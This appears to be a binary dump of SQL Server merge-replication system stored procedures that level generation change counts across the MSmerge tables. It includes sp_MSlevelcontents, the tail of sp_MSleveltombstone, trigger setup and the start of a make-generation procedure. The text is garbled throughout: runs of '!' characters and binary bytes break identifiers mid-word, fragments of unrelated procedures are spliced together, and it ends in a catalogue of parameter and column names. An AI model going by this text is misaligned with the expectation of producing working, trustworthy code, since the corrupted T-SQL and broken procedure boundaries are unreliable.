                set changecount = @changes_in_target_gen where generation = @target_gen
            if @@error<>0
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end

            -- we will move this gen to a new generation. Do this only if changes in this gen is less than 
            -- the maximum allowed changes per generation.
            -!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	"L
D6/PKK- Here is the reason why this move is done. Say we have a PK article and FK article. 
            -- changes in PK_art are in generation g1 and changes in FK_art are in generation g2.
            -- since these are deletes g2 has to be less than g1. Now if we don't move the original g1
            -- g1 will get enumerated before g2 and leveled g2 generations and all changes in g1 cannot
            -- be applied and will go into retries. Hence we need to move all generations
            if (@changes_in_gen <= @max_changes_per_gen)
            begin
                -- move the changes in gen to a new gen
                select @target_gen = NULL
                exec @retcode = sys.sp_MSget_temp_closed_gen @art_nick, @min_changes_per_gen, @nickbin, @target_gen output, @changes_in_target_gen output, 0
                if @@error<>0 or @retcode<>0 or @target_gen is NULL
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end
                
                update dbo.MSmerge_tombstone with (rowlock)
                    set generation = @target_gen 
                    where generation = @gen and tablenick = @art_nick
                select @error = @@error, @tombstone_rows_moved = @@rowcount
                if @error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end

                update ppm set generation = @target_gen 
                from dbo.MSmerge_past_partition_mappings ppm inner join dbo.MSmerge_tombstone ts
                on ppm.tablenick = ts.tablenick
                and ppm.rowguid = ts.rowguid
                and ts.generation = @target_gen
                and ppm.generation = @gen
                and ppm.tablenick = @art_nick
                and ts.tablenick = @art_nick
                if @@error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end
                
                select @changes_in_gen = @changes_in_gen - @tombstone_rows_moved
                select @changes_in_target_gen = @changes_in_target_gen + @tombstone_rows_moved

                update dbo.MSmerge_genhistory with (rowlock) 
                    set changecount = @changes_in_gen where generation = @gen
                if @@error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end
                
                update dbo.MSmerge_genhistory with (rowlock) 
                    set changecount = @changes_in_target_gen where generation = @target_gen
                if @@error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end                
            end

NextGen:
            -- continue with the generation leveling loop. The loop will make progress by reducing the
            -- changecount in the heavy generations.
            select @gen = NULL
            select top 1 @gen = generation, @changes_in_gen = changecount from dbo.MSmerge_genhistory with (rowlock, updlock)
                where genstatus = 3 and 
                      changecount > @max_changes_per_gen and 
                      art_nick = @art_nick
        end

        update dbo.MSmerge_genhistory with (rowlock) 
            set genstatus = 3 
        where genstatus = 5 and art_nick = @art_nick
        if @@error<>0
        begin
            select @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end

NextArticle:
        -- move to next article
        select @prev_art_nick = @art_nick, @prev_processing_order = @processing_order
        select @art_nick = NULL, @processing_order = NULL        
        
        select top 1 @art_nick = nickname, @processing_order = processing_order from dbo.sysmergearticles
        where (processing_order = @prev_processing_order and nickname < @prev_art_nick)
        or processing_order < @prev_processing_order
        order by processing_order desc, nickname desc
    
    end

END_TRAN:
    commit transaction
    select @procfailed = 0

EXIT_RELEASE_TRAN:
    if (@procfailed = 1)
    begin
        rollback tran sp_MSleveltombstone
        commit tran
        return 1
    end

EXIT_PROC:
    if (@procfailed = 1)
        return (1)
    else
        return (0)
|y4|yTRANSACTION
    end
    return (1)
//ested transaction semantics */
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRANSACTION changemergelogsettings
        COMMIT TRANSACTION
    end
    RETURN (1)
iiIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSchange_merge_agent_properties'    
        EXEC @retcode = @distproc @publisher        = @publisher,
                                    @publisher_db    = @publisher_db,
                                    @publication     = @publication,
                                    @subscriber     = @subscriber,
                                    @subscriber_db    = @subscriber_db,
                                    @property        = @property,
                                    @value            = @value
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
            goto UNDO
        END
    END
    
    COMMIT TRANSACTION

    /*
    ** Return succeed. It is not an error message.
    */

    RAISERROR (14054, 10, -1)
    RETURN (0)
UNDO:
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRANSACTION change_subscription
        COMMIT TRANSACTION
    end
    return (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!:q/`<(M
^5>v*ccreate procedure sys.sp_MSlevelcontents
as
    declare @gen bigint
    declare @changes_in_gen int
    declare @tombstone_rows_moved int
    declare @contents_rows_moved int
    declare @min_changes_per_gen int
    declare @max_changes_per_gen int
    declare @median_changes_per_gen int
    declare @target_gen bigint
    declare @changes_in_target_gen int
    declare @error int
    declare @art_nick int
    declare @processing_order int
    declare @prev_processing_order int
    declare @prev_art_nick int
    declare @gen_change_threshold int
    declare @procfailed bit
    declare @changes_in_tombstone int
    declare @changes_in_contents int
    declare @replnick binary(6)
    declare @nickbin varbinary(255)
    declare @retcode int

    select @procfailed = 1
    select @retcode = 0
    
    exec @retcode= sys.sp_MSgetreplnick @replnick = @replnick out
    if @retcode<>0 or @@error<>0 goto EXIT_PROC

    -- add a guard byte
    set @nickbin= @replnick + 0xFF

    begin tran
    save tran sp_MSlevelcontents
    -- the code below levels generations which have a number of changes in contents
    select top 1 @art_nick = nickname, @processing_order = processing_order from dbo.sysmergearticles
    order by processing_order, nickname
    while @art_nick is not null
    begin
        -- get the generation change threshold
        select @gen_change_threshold = min(isnull(generation_leveling_threshold,0)) from dbo.sysmergepublications
            where pubid in (select pubid from dbo.sysmergearticles where nickname = @art_nick)
        if @gen_change_threshold <= 0
            goto NextArticle
    
        select @min_changes_per_gen = @gen_change_threshold/10
        if (@min_changes_per_gen = 0)
            select @min_changes_per_gen = 1
        select @max_changes_per_gen = @gen_change_threshold * 2
        select @median_changes_per_gen = @gen_change_threshold


        -- now split the generations that have more than max allowed changes per gen
        -- loop through each and every one of these generations and put the changes in generations that have a low changecount
        select @gen = NULL
        select top 1 @gen = generation, @changes_in_gen = changecount from dbo.MSmerge_genhistory with (rowlock, updlock)
            where genstatus = 3 and 
                  changecount > @max_changes_per_gen and 
                  art_nick = @art_nick
        while @gen is not NULL
        begin
            -- first make sure that the changecount in this generation is correct.
            -- in this loop we will only look at generations that have changes in contents
            select @changes_in_tombstone = count(*) from dbo.MSmerge_tombstone with (rowlock)
                where generation = @gen
            if @@error <> 0
            begin
                select @procfailed=1
                goto EXIT_RELEASE_TRAN
            end

            select @changes_in_contents = count(*) from dbo.MSmerge_contents with (rowlock)
                where generation = @gen
            if @@error <> 0
            begin
                select @procfailed=1
                goto EXIT_RELEASE_TRAN
            end
                            
            select @changes_in_gen = @changes_in_tombstone + @changes_in_contents

            if @changes_in_contents = 0
            begin
                -- here we will set the genstatus to a special value to indicate that we have already looked at
                -- this generation. Otherwise the generation loop will never make progress.
                -- At the end of this transaction we will set back this status to 0
                update dbo.MSmerge_genhistory with (rowlock)
                    set genstatus = 5, -- temporary status meaning this gen has been looked at
                        changecount = @changes_in_gen
                where generation = @gen
                goto NextGen
            end

            update dbo.MSmerge_genhistory with (rowlock)
                set changecount = @changes_in_gen
            where generation = @gen

            if @changes_in_gen <= @max_changes_per_gen
                goto NextGen
                
            -- now check if there are generations with lower than the min changes per gen we want. If so we will actually use these to
            -- level the changes of the heavy generations
            select @target_gen = NULL
            exec @retcode = sys.sp_MSget_temp_closed_gen @art_nick, @min_changes_per_gen, @nickbin, @target_gen output, @changes_in_target_gen output, 0
            if @@error<>0 or @retcode<>0 or @target_gen is NULL
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end

            -- here it is important to note that if the above update did affect any rows it should have mostly updated median
            -- number of rows. This is because triggers do leveling and the only way leveling did not happen is when a single
            -- ins/update/del statement was called which affect more than threshold number of rows. In that case
            -- trigger will just put all the changes in one generation. So it is more than likely that the changes in this
            -- heavy generation are either all in tomstone or all in contents.
            update top (@median_changes_per_gen) dbo.MSmerge_contents set generation = @target_gen 
            where generation = @gen and tablenick = @art_nick
            select @error = @@error, @contents_rows_moved = @@rowcount
            if @error<>0
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end

            select @changes_in_gen = @changes_in_gen - @contents_rows_moved
            select @changes_in_target_gen = @changes_in_target_gen + @contents_rows_moved

            update dbo.MSmerge_genhistory with (rowlock) 
                set changecount = @changes_in_gen where generation = @gen
            if @@error<>0
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end
            
            update dbo.MSmerge_genhistory with (rowlock) 
                set changecount = @changes_in_target_gen where generation = @target_gen
            if @@error<>0
            begin
                select @procfailed = 1
                goto EXIT_RELEASE_TRAN
            end

            -- we will move this gen to a new generation. Do this only if changes in this gen is less than 
            -- the maximum allowed changes per generation.
            -- Here is the reason why this move is done. Say we have a PK article and FK article. 
            -- changes in PK_art are in generation g1 and changes in FK_art are in generation g2.
            -- since these are inserts g1 has to be less than g2. Now if we don't move the original g2,
            -- g2 will get enumerated before g1 and leveled g1 generations and since g1 could contain the 
            -- the PK rows for the FK rows in g2, all changes in g2 cannot
            -- be applied and will go into retries. Hence we need to move all generations
            if (@changes_in_gen <= @max_changes_per_gen)
            begin
                -- move the changes in gen to a new gen
                select @target_gen = NULL
                exec @retcode = sys.sp_MSget_temp_closed_gen @art_nick, @min_changes_per_gen, @nickbin, @target_gen output, @changes_in_target_gen output, 0
                if @@error<>0 or @retcode<>0 or @target_gen is NULL
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end
                
                update dbo.MSmerge_contents set generation = @target_gen 
                where generation = @gen and tablenick = @art_nick
                select @error = @@error, @contents_rows_moved = @@r!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<N
6dc
*cowcount
                if @error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end
                
                select @changes_in_gen = @changes_in_gen - @contents_rows_moved
                select @changes_in_target_gen = @changes_in_target_gen + @contents_rows_moved

                update dbo.MSmerge_genhistory with (rowlock) 
                    set changecount = @changes_in_gen where generation = @gen
                if @@error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end
                
                update dbo.MSmerge_genhistory with (rowlock) 
                    set changecount = @changes_in_target_gen where generation = @target_gen
                if @@error<>0
                begin
                    select @procfailed = 1
                    goto EXIT_RELEASE_TRAN
                end                
            end

NextGen:
            -- continue with the generation leveling loop. The loop will make progress by reducing the
            -- changecount in the heavy generations.
            select @gen = NULL
            select top 1 @gen = generation, @changes_in_gen = changecount from dbo.MSmerge_genhistory with (rowlock, updlock)
                where genstatus = 3 and 
                      changecount > @max_changes_per_gen and 
                      art_nick = @art_nick
        end

        update dbo.MSmerge_genhistory with (rowlock) 
            set genstatus = 3 
        where genstatus = 5 and art_nick = @art_nick
        if @@error<>0
        begin
            select @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end

NextArticle:
        -- continue the artnick loop
        -- set up for next time through the loop
        select @prev_art_nick = @art_nick, @prev_processing_order = @processing_order
        select @art_nick = NULL, @processing_order = NULL        
        
        select top 1 @art_nick = nickname, @processing_order = processing_order from dbo.sysmergearticles
        where (processing_order = @prev_processing_order and nickname > @prev_art_nick)
        or processing_order > @prev_processing_order
        order by processing_order, nickname
    
    end

END_TRAN:
    commit transaction
    select @procfailed = 0

EXIT_RELEASE_TRAN:
    if (@procfailed = 1)
    begin
        rollback tran sp_MSlevelcontents
        commit tran
        return 1
    end

EXIT_PROC:
    if (@procfailed = 1)
        return (1)    
    else
        return (0)
{	{     set @cmd = 'grant update, insert, select, delete on ' + @genhistory_viewname + ' to public'
            execute (@cmd)
            if @@ERROR<>0 goto FAILURE
            execute sp_MS_marksystemobject @genhistory_viewname  
            if @@ERROR<>0 goto FAILURE

            if @recreate_repl_views = 1
            begin
                -- regenerate repl_view_ that uses triggers for this article @artid
                select top 1 @pubid = pubid from dbo.sysmergearticles 
                where artid = @artid 
                order by pubid

                while @pubid is not null
                begin
                    exec @retcode = sys.sp_MScreate_article_repl_view @pubid, @artid
                    if @@error <> 0 or @retcode <> 0 goto FAILURE

                    select @prev_pubid = @pubid
                    select @pubid = NULL
                    
                    select top 1 @pubid = pubid from dbo.sysmergearticles 
                    where artid = @artid 
                    and pubid > @prev_pubid 
                    order by pubid
                end
            end
        end
        else
        begin
            -- Create trigger that disallows local updates/inserts/deletes.
            exec @retcode= sys.sp_MScreatedownloadonlytriggers @artid= @artid
            if @@error <> 0 or @retcode <> 0 goto FAILURE
        end
    end -- 0=@islightweight
    else
    begin
        exec @retcode= sys.sp_MSdroplightweighttriggers @artid=@artid
        if @@error <> 0 or @retcode <> 0 goto FAILURE

        -- Find out whether this article is updateable at that node. 
        set @maintainsmetadata= sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)

        if 1=@maintainsmetadata
        begin
            exec @retcode= sys.sp_MScreatelightweighttriggers @artid= @artid
            if @@error <> 0 or @retcode <> 0 goto FAILURE
        end
        else
        begin
            -- Create trigger that disallows local updates/inserts/deletes.
            exec @retcode= sys.sp_MScreatedownloadonlytriggers @artid= @artid
            if @@error <> 0 or @retcode <> 0 goto FAILURE
        end
    end

    exec @retcode = sys.sp_MSdropdisabledmltrigger @source_table_passed_in, @table_owner
    if @@error <> 0 or @retcode <> 0 
        goto FAILURE

    commit tran

    return 0

FAILURE:
    rollback tran sp_MSaddmergetriggers
    commit tran
    raiserror(20715, 10, -1, @source_table)
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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@commongenvalid int = NULL OUTPUT,
    @compatlevel int = 90
as

    set nocount on
    declare @gen bigint
    , @replnick binary(6)
    , @dt datetime
    , @art_nick int
    , @first_ts int
    , @makenewrow bit
    , @retcode smallint
    , @nickbin varbinary(255)
    , @maxgendiff_fornewrow bigint
    , @count_of_articles int
    , @lock_acquired bit
    , @lock_resource nvarchar(255)
    , @procfailed bit
    , @delete_old_genhistory bit
    , @close_old_genhistory bit
    , @changecount int
    , @dbname nvarchar(258)
    , @processing_order int
    , @prev_processing_order int
    , @prev_art_nick int
    , @force_leveling bit
    , @gen_change_threshold int

    declare @cmd nvarchar(4000)
    declare @old_bi_gen bigint
    declare @bi_view_objid int
    --declare @GENSTATUS_OPEN tinyint
    --declare @GENSTATUS_MERGE_INSERTED_OPEN tinyint
    --declare @GENSTATUS_LOCAL_CLOSED tinyint
    --declare @GENSTATUS_TEMPORARILY_CLOSED tinyint
    declare @min_changes_per_gen int
    declare @max_changes_per_gen int
    declare @median_changes_per_gen int
    declare @target_gen bigint
    declare @tombstone_rows_moved int
    declare @contents_rows_moved int
    declare @changes_in_gen int
    declare @changes_in_target_gen int
    declare @max_gen_to_close bigint
    declare @min_gen_to_close bigint
    declare @current_max_gen bigint
    declare @error int
    declare @max_gen_changecount_threshold int
    declare @makegeneration_needed int
    declare @needed int

    -- Security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1


    SET XACT_ABORT ON
    SET DEADLOCK_PRIORITY LOW
    
    select @dbname = quotename(db_name())
    select @force_leveling = 0

    if exists (select * from dbo.sysmergepartitioninfo where partition_options>1)
        select @gencheck = 3

    if @commongen is not NULL
    begin
        exec @retcode= sys.sp_MSvalidatecommongen @commongen = @commongen, @commongenguid = @commongenguid, @commongenvalid = @commongenvalid OUTPUT
        if @retcode<>0 or @@error<>0 goto EXIT_PROC
    end

    select @procfailed = 1
    select @retcode = 0
    --select @GENSTATUS_OPEN = 0
    --select @GENSTATUS_LOCAL_CLOSED = 1
    --select @GENSTATUS_TEMPORARILY_CLOSED = 3
    --select @GENSTATUS_MERGE_INSERTED_OPEN = 4
    
    exec @retcode= sys.sp_MSgetreplnick @replnick = @replnick out
    if @retcode<>0 or @@error<>0 goto EXIT_PROC

    -- add a guard byte
    set @nickbin= @replnick + 0xFF

    --we need to test if MakeGeneration is needed here again
    -- because the first time this proc is called might be at the time before the apploc is acquired. The last_makegeneration_datetime column is updated after MakeGeneration
    -- transaction is commited. All MakeGeneration calls queued up before apploc should be skipped if it is within the MakeGenerationInterval.
        exec @retcode = sys.sp_is_makegeneration_needed  @needed=@makegeneration_needed OUTPUT
        if @retcode<>0 or @@error<>0
        begin
            set @procfailed = 1
            goto EXIT_PROC
        end  

        if @makegeneration_needed=0
        begin
            set @procfailed = 0
            goto EXIT_PROC
        end      
    
    -- If @gencheck param is set to 1 ( = ForceConvergence), look for rows with missing generation numbers and set their
    -- gen to 0
    if @gencheck = 1 or @gencheck = 2
    begin
        update dbo.MSmerge_contents set generation = 0 where generation not in
            (select generation from dbo.MSmerge_genhistory)
        update dbo.MSmerge_tombstone set generation = 0 where generation not in
            (select generation from dbo.MSmerge_genhistory)
        update dbo.MSmerge_past_partition_mappings set generation = 0 where generation not in
            (select generation from dbo.MSmerge_genhistory)
    end

    select @max_gen_changecount_threshold = max(isnull(generation_leveling_threshold,0)) from dbo.sysmergepublications
    if @max_gen_changecount_threshold is NULL
        select @max_gen_changecount_threshold = 0

    /*
    ** If there are no zero generation tombstones or rows, add a dummy row in there. 
    */
    if not exists (select 1 from dbo.MSmerge_genhistory)
    begin
        set identity_insert dbo.MSmerge_genhistory on
        set @dt = getdate()
        -- we will insert this generation in closed state. and exit makegeneration
        insert into dbo.MSmerge_genhistory with (rowlock)
            (guidsrc, genstatus, generation, art_nick, nicknames, coldate) 
        values (newid(), 1, 1, 0, @nickbin, @dt)
        if @@error<>0  
            set @procfailed = 1
        else
            set @procfailed = 0
        set identity_insert dbo.MSmerge_genhistory off
        goto EXIT_PROC
    end

    exec @retcode = sys.sp_MSmovegenzerochanges 
    if @retcode<>0 or @@error<>0 
    begin
        set @procfailed = 1
        goto EXIT_PROC
    end

    -- first get the max generation we want to close in this instance of makegeneration
    select @current_max_gen = max(generation) from dbo.MSmerge_genhistory with (rowlock)
    if @current_max_gen is NULL
    begin
        select @procfailed = 1
        goto EXIT_PROC
    end
    
    begin tran
    save tran sp_MSmakegeneration

    -- get exclusive update lock on all the generations we want to close
    update dbo.MSmerge_genhistory with (rowlock)
        set genstatus = 3
        where generation <= @current_max_gen and genstatus = 0
    if @@error<>0
    begin
        select @procfailed = 1
        goto EXIT_RELEASE_TRAN
    end

        update dbo.MSmerge_genhistory with (rowlock)
            set genstatus = 3,
                coldate = getdate(),
                nicknames = @nickbin
            where generation <= @current_max_gen and genstatus = 4 and 
                coldate not in (select login_time from sys.dm_exec_sessions) and
                subscriber_number not in (select s.subscriber_number from dbo.sysmergesubscriptions s
                                              inner join sys.dm_exec_sessions p on p.program_name = s.application_name collate database_default)
        if @@error<>0
        begin
            select @procfailed = 1
            goto EXIT_RELEASE_TRAN
        end
    
    -- we are only reading the min_gen_to_close here for optimizing queries. Since genhistory has a clustered
    -- index on generation by using min closed gen everywhere we can actually get a clustered index seek instead of
    -- a clustered index scan
    select @min_gen_to_close = min(generation) from dbo.MSmerge_genhistory with (rowlock) where genstatus = 3
    select @max_gen_to_close = max(generation) from dbo.MSmerge_genhistory with (rowlock) where genstatus = 3

    if @min_gen_to_close is NULL
        goto END_TRAN

    -- even though the changecounts should be accurate we will do an update of the changecounts here so that our further calculations
    -- can be accurate. The two update statements below update the changecount based on contents and tombstone count
    update gens1 with (rowlock)
        set changecount = isnull(gens.changecount, 0)
    from
        dbo.MSmerge_genhistory gens1 with (rowlock)
        left outer join
        (
            select g.generation, count(*) as changecount
            from MSmerge_genhistory g with (rowlock)
                inner join MSmerge_contents c with (rowlock, repeatableread) on c.generation = g.generation and g.genstatus=3
            where c.generation = g.generation and 
                  g.genstatus=3
                  group by g.generation
        ) as gens 
            on gens1.genstatus=3 and gens1.generation = gens.generatio!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`6-p)EtP
Ix[bF0-UI@publisher0-ˮ?@name0-ˮ(I@namespace0-vqM@view_schema0-4
hhI@no_checks0-4
hh[@ignore_distributor0-,U@assembly_schema0-,88
]@assembly_referenced0-$S@primary_server0-$W@primary_database0-(88
Isession_id0-(Qtransaction_id0-(atransaction_descriptor0-(88
Menlist_count0-(hh[is_user_transaction0-(hhEis_local0-(hhKis_enlisted0-(hhEis_bound0-(	88
aopen_transaction_count0-(
88
Kpdw_node_id0-=G@rolename0-=I@ownername0-'(KC@server0-'(KK@srvproduct0-'(KG@provider0-'(K@E@datasrc0-'(K@G@location0-'(K@E@provstr0-'(KE@catalog0-|U88
Q@cursor_return0-|U88
O@cursor_scope0-~V`xxIclass_desc0-~V`xxSpermission_name0-~V`=type0-~V`xxecovering_permission_name0-~V`xxWparent_class_desc0-~V`xxsparent_covering_permission_name0-~V`xA@level0-$b88
K@session_id0-Ei$$C@job_id0-nw@@Isql_handle0-nw88
astatement_start_offset0-nw88
]statement_end_offset0-nw[plan_generation_num0-nw@@Kplan_handle0-nw==Ocreation_time0-nw==[last_execution_time0-nwSexecution_count0-nw	Wtotal_worker_time0-nw
Ulast_worker_time0-nwSmin_worker_time0-nwSmax_worker_time0-nw
]total_physical_reads0-nw[last_physical_reads0-nwYmin_physical_reads0-nwYmax_physical_reads0-nw]total_logical_writes0-nw[last_logical_writes0-nwYmin_logical_writes0-nwYmax_logical_writes0-nw[total_logical_reads0-nwYlast_logical_reads0-nwWmin_logical_reads0-nwWmax_logical_reads0-nwQtotal_clr_time0-nwOlast_clr_time0-nwMmin_clr_time0-nwMmax_clr_time0-nwYtotal_elapsed_time0-nwWlast_elapsed_time0-nwUmin_elapsed_time0-nw Umax_elapsed_time0-nw!Iquery_hash0-nw"Squery_plan_hash0-+W@capture_instance-ahh0-aW@capture_instance0-a
G@from_lsn0-a
C@to_lsn0-a<Y@row_filter_option0-ahhM@net_changes0-)M@publication0-)g@dynamic_snapshot_jobname0-)$$c@dynamic_snapshot_jobid0-)88
S@frequency_type0-)88
[@frequency_interval0-)88
W@frequency_subday0-)88
i@frequency_subday_interval0-)88
m@frequency_relative_interval0-)	88
m@frequency_recurrence_factor0-)
88
Y@active_start_date0-)88
U@active_end_date0-)88
g@active_start_time_of_day0-)
88
c@active_end_time_of_day0-)I@job_login0-)O@job_passwordA

>
Q_~MR

Y

	n		Lu2Wf!y~'w%yd!oR~1`
-6)ZQ
I;"-0-88
E@hidword0-88
E@lodword0-?@name!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`l-U)wS
2Γ0-w88
K@profile_id0-GyI@user_name0-㜂MVIEW_CATALOG0-㜂KVIEW_SCHEMA0-㜂GVIEW_NAME0-㜂OTABLE_CATALOG0-㜂MTABLE_SCHEMA0-㜂ITABLE_NAME0-㜂KCOLUMN_NAME0-TC@server0-T
K@droplogins0-t%00?@mode0-cdispatcher_pool_address0-Mtask_address0-x4x?state0-Owait_duration0-_current_item_duration0-Sitems_processed0-88
